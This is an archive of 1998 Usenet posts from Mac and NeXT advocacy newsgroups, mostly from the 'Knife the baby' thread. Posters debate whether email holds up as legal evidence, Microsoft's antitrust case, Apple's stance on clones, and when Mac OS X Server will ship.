baggie of powdered sugar you're carrying is coke. IMHO, just because
something is 'legal' doesn't mean it makes a good argument.
In most sane societies, (i.e. any set excluding the US of A, gawd bless
it) thought is not legislated.
--
David Kurtz -- remove the underscore from my email address to reply
PGP key and more... http://www.lightside.net/~david/
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Sender: news@T-FCN.Net
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Cc: Limeyville@spamtoNull.com
Organization: needs one
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com>
<atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com>
<364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com>
<364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu>
<364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net>
<365193CC.4AEE4713@spamtoNull.com>
Mime-Version: 1.0
Date: Tue, 17 Nov 1998 16:22:49 GMT
In <365193CC.4AEE4713@spamtoNull.com> Jonathan Harker wrote:
> False.
Not false.
As your note below shows, the court has well established systems for
checking the validity of signature. If the signature was so hard to forge,
they wouldn't need these. Likewise the government, notably the feds, has
superb people to check the validity of e-mail too. Yet they didn't bother,
which demonstrates they're not questioning the validity of the mail.
> It's surprising you don't even know the difference between a
> signed document and an unsigned one.
I know the difference, and I explained it.
> If you have a signature, experts can examine it to determine if it's
genuine
> *if* there's a question about it.
And if the document is unsigned, experts can examine it to determine if
it's genuine. It happens all the time.
> Have you ever heard of the crime of "forgery"?
Yes, e-mail can be forged, and there are effective systems for checking
it's validity.
> Ask yourself
> how you *prove* forgery? In the vast majority of forgery cases forgery
> is proved and people are convicted and sent to jail on the basis of
> *forged* signatures on significant documents
Whereas many others are convicted on the basis of handwriting experts,
paper analysis, chemical analysis of the ink, looking over server logs,
examining the watermark, checking proxys, routing information, fingerprints
and many other forms of checking.
> This is all very
> elementary and practically grade-school stuff.
Back to grade school for you then.
> The idea that there's no
> difference between a signed document and an unsigned one
There is no difference IN THE WAY THE COURTS DEAL WITH THE AUTHENTISITY
OF THE EVIDENCE.
> prove any difference, shows an appalling degree of ignorance. Sorry, but
> I'm really shocked that anyone would even think that a sterile email is
> evidence of the same type and gravity as a paper trail with handwritten
> signatures!
If it's demonstrated that the e-mail represents the true words of the
person writing the message, it is accorded exactly the same gravity as any
other sort of document.
> Sure, you could fake my signature, but guess what? Even if I
> could never discover who faked it, it would be child's play to prove I
> didn't sign it--which I could not do with an email. Sheesh, this is
> common sense.
As is proving that you didn't send e-mail, something I have to do on a
daily basis to combat spam.
> There is a great deal of evidentiary difference between an email and a
> paper document with a signature, or even a paper document with
> *handwritten* notations in the margins. The latter can be conclusively
> tied to a specific individual, the former never can be.
The former is and has been.
> Your bias simply doesn't allow you to grasp the obvious.
You want to talk about MY bias?!?
> excellent chance that *you* wouldn't remember every single email you
> wrote three years ago if they were all presented to you. Most people
> have no trouble admitting this is universally true. Now, let's suppose
> you were presented with a three-year old email which you did not
> actually write but which had your name on it. At best, you're going to
> assume you simply cannot remember having written it. If you in fact did
> not send it, how could you prove you didn't send it?
And again you clearly demonstrate that you don't know the first thing
about the rules of evidence. It's not up to me to prove I didn't send it,
it's up to the prosecution to prove that I did. If they can _prove_ that I
did, I did.
> Unless stipulated to by the defense, and allowed by the judge (which
> might be a great appeal item), email is nowhere_near_as_valid as many
> other forms of evidence.
No evidence is valid unless it meets those two criterion (and others,
including search and seizure law, constitutional rights, etc.).
> Your suggestion is ludicrous.
You have no idea what you are talking about.
Maury
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Tweaking fonts (was Re: I grow old)
Date: 16 Nov 1998 20:20:20 GMT
Organization: MiscKit Development
Message-ID: <72q1e4$jf8$1@news.xmission.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <3647DCC4.4792B75A@trilithon.com> <72opu2$nbk$1@news.xmission.com> <911239453.676684@watserv4.uwaterloo.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 16 Nov 1998 20:20:20 GMT
dfevans@bbcr.uwaterloo.ca (David Evans) wrote:
> In article <72opu2$nbk$1@news.xmission.com>,
> Don Yacktman <don@misckit.com> wrote:
> >
> >Hmmm...even if PasteUp didn't do it, I personally know of an app
> >that did let you really tweak things around.
> >
>
> Jeez...you guys *keep* spitting out little items about Opus and
> making us all jealous. I suppose we should just all harp on Andy
> Stone to make Create do everything Opus did (and Diagram!, for that
> matter---still love that app).
Well, it was fun to write and has a lot of features I'd love to see appear in
MOSX apps. I have shared some of my architectural specs (for style and
shape/tool plugins) with Andy so he knows nearly exactly how I implemented
the styles stuff. The ideas in Opus, some of them, are nifty and IMHO
innovative for the time, but the implementations are pretty straight forward.
Once you have the idea, making it happen isn't too tough IMHO. The trickiest
were how I was doing color separations and traps/bleeds and the text warping,
but even those can be figured out pretty quickly if you're OK with math and
understand the problem to be solved reasonably well...
Note also that Mark Onyschuk's GlyphiX! app is a lot like Diagram!, and he
knows what I did, too, so it isn't unreasonable to see features like these
appearing in future apps. I know I have shared at least some of these ideas
with Maury, who has been working on GlyphiX!
> >This app sure is great for designing logotypes...
>
> Yeah, yeah...gloat away. :-(
I know, it is sort of mean to do...but it is important for people who don't
understand the technology to have an idea of what can be done and how easy it
is to do it...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 15:20:59 -0600
Organization: Ericsson Inc.
Message-ID: <3650973B.FD57921F@exu.ericsson.se>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu> <F2Iux5.1Jz@T-FCN.Net> <david_-1611981212320001@s188-236.resnet.ucla.edu>
Mime-Version: 1.0
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David Kurtz wrote:
[cut]
> In most sane societies, (i.e. any set excluding the US of A, gawd bless
> it) thought is not legislated.
Odd that you're so inclusive. I would think you'd have to exclude,
additionally, any number of Muslim countries (Iran, Iraq for starters)
which have outlawed conversion to Christianity. Yes, include China, as
well. It might be illegal in Bosnia to think you're Croatian.
Then again, it's illegal, in Germany, to be in *favor* of ethnic
cleansing.
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: 18 Nov 1998 03:47:06 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72tfvq$h34@news1.panix.com>
References: <3649C384.DEE7E7E1@voy.net> <72ov5h$khl$1@reader1.reader.news.ozemail.net> <36504C35.7E40AA4D@voy.net> <72qrrs$l1b@news1.panix.com> <72s2g6$c43$1@nnrp03.primenet.com>
On 17 Nov 1998 14:50:46 GMT, John Jensen <jjens@primenet.com> wrote:
>Sal Denaro <sal@panix.com> wrote:
>: Gimp also runs on NT with an X server. There are NT folks working to build a
>: new, NT based front end to Gimp. You might want to search the web for them.
>: If they manage to do a good enough job at decoupling Gimp from X, it might be
>: a pretty easy task to build a new OSX based UI for Gimp. Heck, I would work
>This is an interesting idea. The Gimp runs on a GUI abstraction layer
>called GTK+ (for Gimp Toolkit). If you port GTK+ you gain a lot more apps
>than just the Gimp. See www.gtk.org for more details.
I'm sure that GTK+ could be ported to run anywhere Xlib is. I doubt that a
port that was free of Xlib would be worth the effort. Building GUIs on OSX
isn't that hard, and it is lightyears ahead of anything I've ever seen on
any X based system (and yes, I know about glade)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 03:47:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72tfvr$h34@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtoNull.com> <adtF2E3rz.Jts@netcom.com> <364DB34E.916F13B3@spamtoNull.com> <72qrjl$kui@news1.panix.com> <3651B337.E0EA63B4@spamtoNull.com>
On Tue, 17 Nov 1998 12:32:39 -0500, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>Sal Denaro wrote:
>> On Sat, 14 Nov 1998 11:43:58 -0500,
>> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> >they've got a virtual springboard into the future. And, when Merced is
>> >first released, it'll probably take a year to enter the mainstream
>> >markets, and another couple of years after that to dominate them.
>> I doubt that Merced will make any dents in the mainstream market for
>> at least 2 years, and will not ship anywhere close to the x86 lines
>> for at least 3 chip generations.
>Isn't that what I said?...:)
No, you said:
"And, when Merced is
first released, it'll probably take a year to enter the mainstream
markets, and another couple of years after that to dominate them."
Intel seems to think it will take _three_ chip generations (or 4 to 6 years)
before Merced ships in numbers anywhere close to x86 volume, let alone
"dominate" You stated that Merced will dominate the market in a "couple of
years"
Do you know more about Intel's marketing plans than Intel?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 03:47:08 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72tfvs$h34@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <3651B5EA.68BA8B50@spamtoNull.com>
On Tue, 17 Nov 1998 12:44:10 -0500, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>Is "Compaq" a person? I think you are confusing a person with the
>official policy of the company.
Statements made by an official representative of a company can be assumed
to be policy of that company. When Steve Jobs makes a statement, it can be
inferred that said statement can from "Apple"
That same goes for Compaq, GE, Acme widgets and every other company in
the US. (and possibly beyond.)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 03:47:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72tfvt$h34@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <01be0eb2$2064ff50$06387880@chewy> <364C9471.191445C9@spamtoNull.com> <01be0f87$f87c2640$06387880@chewy> <364DC469.395BDD91@spamtoNull.com> <01be1023$3446fd80$06387880@chewy> <36506692.9173FE97@spamtoNull.com> <ckoller-ya02408000R1611981410520001@netnews.worldnet.att.net> <3651A8D7.50E811D8@spamtoNull.com> <ckoller-ya02408000R1711980956430001@netnews.worldnet.att.net>
On 17 Nov 1998 17:54:08 GMT, Craig Koller <ckoller@worldnet.att.net> wrote:
>Additionally, I think the Y2K debacle is going to raise some legislative
>eyebrows and bring about further regulation upon the computer industry.
>"Why do we require permits and inspections and accountability for buildings
>that house business and services, and not the software that *runs* business
>and services?"
I think we'll see a ton of regulations for the utility and banking industries
(beyond the scope that NYPRA, SIAC and the SEC are doing now) if there are
many brownouts and dead ATMs in Jan 2k.
When I read about some of the proposals that were floating around, I fired
off a letter to my congressman mentioning that y2k regulations would be
quite useless if passed in March of 2000; and that time would be better spent
working with the private sector to avoid letting things like this happen
in the future when we move to nine digit phone numbers and eleven digit zip
zip codes.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 03:52:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72tga5$h6o@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72q6l0$ps2@newsb.netnews.att.com> <3650B378.684BEB0E@exu.ericsson.se> <72qrjk$kui@news1.panix.com> <3651D8E7.BC900F00@exu.ericsson.se>
On Tue, 17 Nov 1998 14:13:27 -0600,
Michael Peck <eusmpec@exu.ericsson.se> wrote:
>> Personally, I think it is a great injustice for government not to act in
>> the best interest of those who elected them, in accordance with the
>> constitution; even if it means doing things that are unpopular. (Like
>> ending segregation or prosecuting Microsoft. )
>...but here we have quite the opposite: autocratic action by the
>government *on behalf* of other people "even if it means doing things
>that are unpopular".
The job of our elected officials is to do what is just, what is needed and
what is fair, not what is popular. A law banning flag burning, the
communist party and the spice girls might be popular, but not fair.
The big question, is "Who should decide what is fair?"
Ultimately it is the voters who decide.
>You're not quite as good at concealing twisted logic as you think you
>are.
I'm not concealing anything.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 03:52:38 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72tga6$h6o@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <72qrjm$kui@news1.panix.com> <3651B2E8.F83B7977@spamtoNull.com>
On Tue, 17 Nov 1998 12:31:20 -0500, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>Sal Denaro wrote:
>> In _Wired_ Steve stated that cloning would have worked in the 1989 to 1992
>> period, before Windows became to firmly entrenched. He made this statment
>> _before_ he returned to Apple, and is a pretty clear indication that he
>> wasn't morally opposed to cloning, but saw it as a business move.
>I'm well-aware of what "Steve stated." I just don't believe him.
Yet you choose to quote that same article when you mentioned the "milk
the Mac for all it's worth while moving on to the next big thing" quote.
> His
>statements were no more than damage control made to try and smooth over
>a bad situation of his making.
As was pointed out elsewhere, those quotes were made in Oct '95 and Feb '96,
well before Steve came back to Apple. What damage was he controling?
>> As much as I hate to say it, JH may be right on this account. There is
>> plenty of anecdotal evidence to support this about Steve Jobs. There is
>> also plenty of anecdotal evidence to support this about Bill Gates, Jean
>> Loius Gasse (sp?), and Richard Stallman. I can also add Frank Lloyd Wright,
>> Winston Churchill, Henry Ford and Stan Getz to that list.
>You could also add Ted Bundy, Hitler, and Stalin to that list...:)
>What's so great about that?
Godwin's law.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 03:52:41 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72tga9$h6o@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <364CA67E.6C5A5121@exu.ericsson.se> <72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72sfhg$6ir$1@nnrp1.dejanews.com> <3651CE35.E6925853@exu.ericsson.se>
On Tue, 17 Nov 1998 13:27:49 -0600,
Michael Peck <eusmpec@exu.ericsson.se> wrote:
>Charles Swiger wrote:
>> Ahh, never mind: subtlety obviously isn't one of your strong points.
>How would you know? It was evidently too subtle for you...
Calling NeXT users "Nazis" is subtle?
>> Would you go pollute some other newsgroup if I compared you to Hitler?
>Quit whining and learn to deal with opinions that don't match yours. It
>would be about time.
You called NeXT users "Nazis", and now you are asking Chuck to learn to
deal with people with differing views? You should follow your own advice.
It would be about time.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 03:52:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72tga8$h6o@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <364C7F15.42A8C263@spamtoNull.com> <72k841$caq@news1.panix.com> <36503E09.44F638ED@spamtoNull.com> <david_-1611981158180001@s188-236.resnet.ucla.edu> <36519F2D.4FC80E9C@spamtoNull.com>
On Tue, 17 Nov 1998 11:07:09 -0500, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>are all out of business. We cannot say, however, that we *know* that
>"Microsoft attempted to kill Quicktime" because there is *nothing* in
>the public record about it, and Quicktime has not been killed.
There is email, that comes from Microsoft (it was urrendered to the court
by Microsoft, *NOT* a 3rd party) where official representatives of Microsoft
state that they wanted to use the threat of dropping Office for the Mac to
get Apple to kill off QuickTime. It is in the public record.
From: david_@ucla.edu (David Kurtz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 13:24:18 -0800
Organization: Independent sentient carbon-based unit
Message-ID: <david_-1611981324180001@s188-236.resnet.ucla.edu>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu> <F2Iux5.1Jz@T-FCN.Net> <david_-1611981212320001@s188-236.resnet.ucla.edu> <3650973B.FD57921F@exu.ericsson.se>
In article <3650973B.FD57921F@exu.ericsson.se>, Michael.Peck@Ericsson.com wrote:
> David Kurtz wrote:
>
> [cut]
>
> > In most sane societies, (i.e. any set excluding the US of A, gawd bless
> > it) thought is not legislated.
>
> Odd that you're so inclusive. I would think you'd have to exclude,
> additionally, any number of Muslim countries (Iran, Iraq for starters)
> which have outlawed conversion to Christianity. Yes, include China, as
> well. It might be illegal in Bosnia to think you're Croatian.
>
OK, so I exaggerated. Pardon my hyperbole.
--
David Kurtz -- remove the underscore from my email address to reply
PGP key and more... http://www.lightside.net/~david/
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 18 Nov 1998 03:52:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72tgaa$h6o@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
On Tue, 17 Nov 1998 18:24:45 -0500, WPH <whaddock@neosoft.net> wrote:
>Last week a Apple sales rep told me that MacOS X Server is basically ready
>for release. He says the marketing department just has no clue about how
>to market it.
I find this much more troubling than the fact that it is late. What have
the marketing people been doing for the past year?
(Ok, they have done a pretty good job with the iMac.)
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Tue, 17 Nov 1998 22:46:18 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <72tfuq$oj0@shelob.afs.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
WPH wrote in message ...
>Today's MacOS Rumors says that it will be released after January's
>MacWorld Expo so that some new features may be rolled into it. Yes, this
>is just a rumors site, but with only Steve knowing the release date, all
>there is is rumor and speculation.
In my opinion, in this particular case, MOSR is in the general vicinity of
the truth. Based on what I can gather from various sources, I no longer
believe that MOSXS will ship in 1998, despite every indication that it would
be technically possible to do so. (In fact, *already* to have done so.)
>Last week a Apple sales rep told me that MacOS X Server is basically ready
>for release. He says the marketing department just has no clue about how
>to market it. I can tell him that there are people out there who want Mac
>OS X Server now and I will be the first in the line to buy it.
I hope Santa brings you a fat pile of green, then. You're gonna need it.
As to the marketing department, I would attribute the problems less to
cluelessness than to competing internal interests. The way Apple is wired
these days, if (ahem) *someone* wanted MOSXS to be a priority, it would be.
The silence speaks volumes, it seems to me.
Greg
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Cc: david_@ucla.edu
Organization: needs one
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu>
<F2Iux5.1Jz@T-FCN.Net> <david_-1611981212320001@s188-236.resnet.ucla.edu>
Mime-Version: 1.0
Date: Mon, 16 Nov 1998 21:29:54 GMT
In <david_-1611981212320001@s188-236.resnet.ucla.edu> David Kurtz wrote:
> Drug laws don't count. You can be relieved of all worldly possessions
> without any form of due process if a LEO with adequate rank "thinks" that
> baggie of powdered sugar you're carrying is coke. IMHO
In the US, more specifically certain parts. I'm in neither, and the
point remains. If YOU thought YOU were buying coke, then you're guilty.
Period.
Maury
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 11:30:34 -0500
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Organization: EarthLink Network, Inc.
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David Kurtz wrote:
>
>
> Microsoft has built an empire on the backs of computer novices. Sheer
> numbers suggest that in comparison, Apple's 'exploitation' is a drop in
> the bucket. Who's exploiting whom? As Dave Winer likes to say, BOGU. Has
> Microsoft been hanging around your Back Orifice today?
>
You make some common mistakes in your analysis.
(1) Microsoft is not directly comparable to Apple because whereas
Microsoft is a software-only company, Apple is both a hardware and
software company.
(2) The distinction above is important because Microsoft "built its
empire on the back" of the X86 hardware clone phenomenon, whereas Apple,
being a single company, was completely unable to compete with the dozens
and dozens of X86 hardware clone companies that took root throughout the
world in the last decade. Simply put, those dozens of X86 clone
companies have been able to sell a far higher volume of X86 machines
than the volume of Macs Apple alone has been able to produce, and at a
price Apple historically has never tried to match (until very recently.)
In short, everywhere an X86 clone went, MS-DOS was sure to follow, and
then Win3.X, Win95/98, etc. Because of the X86 clone phenomenon,
Microsoft has always had a far larger market to sell to than Apple has
ever had for its OS.
(3) Unlike Apple, whose decision not to allow Mac cloning was
premeditated and deliberate, Microsoft never made these sorts of
hardware decisions since Microsoft doesn't sell computer hardware.
Microsoft simply found itself to be the OS supplier for the *only*
platform that was cloned on a world-wide basis. Quite literally, nobody
else wanted the job of OS supplier to that market. Not Apple, not
Commodore, and IBM's efforts were always half-hearted and too little,
too late to be of any real consequence.
(4) Microsoft did not succeed because of computer novices. It succeeded
because the world-wide demand for personal computers far outstripped the
ability of lone companies like Apple (Commodore, etc) to fill that
demand. The only hardware market around that has consistently been able
to meet the historical demand for personal computers world-wide has been
the X86 market, and that only because the X86 hardware is supplied by
dozens of companies all competing against each other and thus keeping
prices very low and supply very high. Apple finds itself in a much
different position because it has never been able to clearly understand
the correlation between hardware availability and the growth of the
number of people using the Mac OS.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 10:41:39 -0600
Organization: Ericsson Inc.
Message-ID: <3651A743.10A9F049@exu.ericsson.se>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu> <F2Iux5.1Jz@T-FCN.Net> <david_-1611981212320001@s188-236.resnet.ucla.edu> <3650973B.FD57921F@exu.ericsson.se> <david_-1611981324180001@s188-236.resnet.ucla.edu> <72qumt$8n3$2@cronkite.cs.umd.edu>
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Sean Luke wrote:
> Just to clear things up: last I recall it is not illegal to convert to
> Christianity in China (nor most any other religion). Nor is it illegal to
> practice it. It is only illegal to practice it in large
> non-state-sanctioned groups which China perceives as a threat to its
> sovereignty, and to do active proseletyzing missionary work of any kind.
>
> -- Sean, who used to be a missionary in China (well, Hong Kong at any rate)
> seanl@cs.umd.edu
My apologies for the misstatement, and thanks for the correction.
MJP
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 15:44:50 -0600
Organization: Ericsson Inc.
Message-ID: <36509CD2.7F56C509@exu.ericsson.se>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com>
<F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu>
<F2Iux5.1Jz@T-FCN.Net> <david_-1611981212320001@s188-236.resnet.ucla.edu> <F2JADv.Aqy@T-FCN.Net>
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Maury Markowitz wrote:
> In the US, more specifically certain parts. I'm in neither, and the
> point remains. If YOU thought YOU were buying coke, then you're guilty.
> Period.
Sean Luke's point remains: it is intent, not thought, that incriminates.
Intent may be considered a subset of all thought, but it remains a fact
that thought, in general, cannot be a legal basis for indictment in
criminal proceedings.
Christ, in the Sermon on the Mount, points out that lustful thought
convicts a man's heart of adultery. Even so, the Mosaic Law (which
Christ, in his own words, "came to fulfill, not to abolish") makes
adultery punishable only for demonstrable offense, not for thought. Not
even for intent, actually.
There are similar parallels in Hammurabi, the Koran, and English Common
Law.
MJP
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 16 Nov 1998 22:08:17 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R1611981410520001@netnews.worldnet.att.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <01be0eb2$2064ff50$06387880@chewy> <364C9471.191445C9@spamtoNull.com> <01be0f87$f87c2640$06387880@chewy> <364DC469.395BDD91@spamtoNull.com> <01be1023$3446fd80$06387880@chewy> <36506692.9173FE97@spamtoNull.com>
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In article <36506692.9173FE97@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> "Todd Heberlein (todd at NetSQ dot com)" wrote:
>
> > Jonathan, I largely agree with you, and what makes the government's job
> > difficult is that the issues *are* fuzzy.
> >
>
> I agree completely...:) The issues are fuzzy. And if they are fuzzy to
> us, imagine how "hairy" they must seem to Judge Jackson and the group of
> DOJ big-lawyer-wannabe's at the center of all of this...:)
And in the words of Johnny Cochran, "If the case is fuzzy, Bill wasn't an
illegally predatory monopolist was he?" <G>
I'd be
> surprised if many of them could give me a good solid definition of the
> differences between ram disks and floppy disks. And these are the guys
> putting technology on trial.
In other words, the government isn't qualified to either pass judgement or
laws in anything involving computing? Medicine is pretty complicated too,
perhaps if a company wants to carry out Mengele-esque genetic experiments
the law should step aside for that too? A'course not. It's the critical
mass element that's brought things to where they are now, technical details
be damned.
Whew...What I'm afraid of is that this is
> going to lead to even more computer-industry ignorant government
> involvement which could very well wind up hurting everybody, not just
> Microsoft.
Microsoft is reaping what its sown, and *everybody* will get hurt, no
doubt. But this is about one company trying to control too much, with no
self restraint, no self regulation, and if it wasn't Netscape it would have
been another company that ultimately brought Microsoft before the DOJ.
>
> >
> > It is funny to think a *long* time is a little over two years (IE 3.0,
> > the first real competition to Netscape, shipped in Aug. 96).
> >
> > I guess that is Internet Time for you. :-)
> >
>
>
> Yep, I know what you mean. The pace of change I've seen in the last
> three years just about equals everything I saw happen in the previous
> ten years, if it doesn't surpass it. It's like a blur...:)
Agreed. I remember back in '92, driving along and hearing my first
Microsoft radio ad for Excel. I remember thinking, "Yeah, finally some
marketing to topple the Lotus 123 Juggernaut!"
As a happy Mac Word and Excel user, I really, really shoulda bought stock
in Microsoft back then.
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 16 Nov 1998 22:30:51 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R1611981433240001@netnews.worldnet.att.net>
